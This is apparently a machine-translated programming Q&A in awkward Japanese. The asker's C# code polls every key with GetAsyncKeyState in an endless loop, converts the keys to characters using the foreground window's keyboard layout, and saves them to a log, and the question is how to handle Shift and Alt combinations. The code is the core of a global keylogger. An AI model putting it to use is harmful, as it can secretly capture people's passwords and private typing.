0
は、私はGetAsyncKeyState
でアクティブなキーを処理します。キャプチャ特殊キー文字
Keys lastKey = 0;
while (true)
{
Boolean shiftKey;
Boolean capsLock;
String text = "";
Thread.Sleep(captureTime);
for (int i = 0; i< 1000; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
shiftKey = Convert.ToBoolean(GetAsyncKeyState((int) Keys.ShiftKey));
capsLock = Convert.ToBoolean(GetAsyncKeyState((int) Keys.CapsLock));
text = processKey((Keys) i, shiftKey, capsLock);
if (checkNewLine(lastKey, (Keys) i))
{
saveLog(text);
}
lastKey = (Keys) i;
}
}
}
キー処理機能processKey、プロセスキータイプに依存キーを、私はどのような特殊キーを処理するためには考えている:;シフトや特別他を必要とし、「¿?!・$%を&」 "@#"のようなaltを必要とする文字。
別の文字の組み合わせではなく、たとえばshift + 0を押すとコンソールは「=」を出力するはずですが、私の場合はコンソールに「[SHIFT]」「0」を書きます。
switch(key)
{
case Keys.Back:
case Keys.ShiftKey:
text = "["+key.ToString()+"]";
break;
case Keys.Enter:
text = Environment.NewLine;
break;
case Keys.Space:
text = " ";
break;
case Keys.Tab:
text = "\t";
break;
default:
IntPtr windowHandle = GetForegroundWindow();
uint processId;
uint threadId = GetWindowThreadProcessId(windowHandle, out processId);
byte[] kState = new byte[256];
GetKeyboardState(kState);
uint layout = GetKeyboardLayout(threadId);
StringBuilder keyName = new StringBuilder();
ToUnicodeEx((uint)key, (uint)key, kState, keyName, 16, 0, layout);
text = keyName.ToString();
if((int)key >=65 && (int)key <= 90)
{
text = (!shiftKey && capsLock || shiftKey && !capsLock ? Convert.ToChar(key).ToString()
: Convert.ToChar(key).ToString().ToLower());
}
break;
}
return text;
それはあなたが[死んキー](http://archives.miloush.net/michkap/archive/2006/03/24/559169.html)に対処しなければならないとき、本当に複雑にし始め - そのシリーズ全体を読んでますお手伝いをしてください。 – stuartd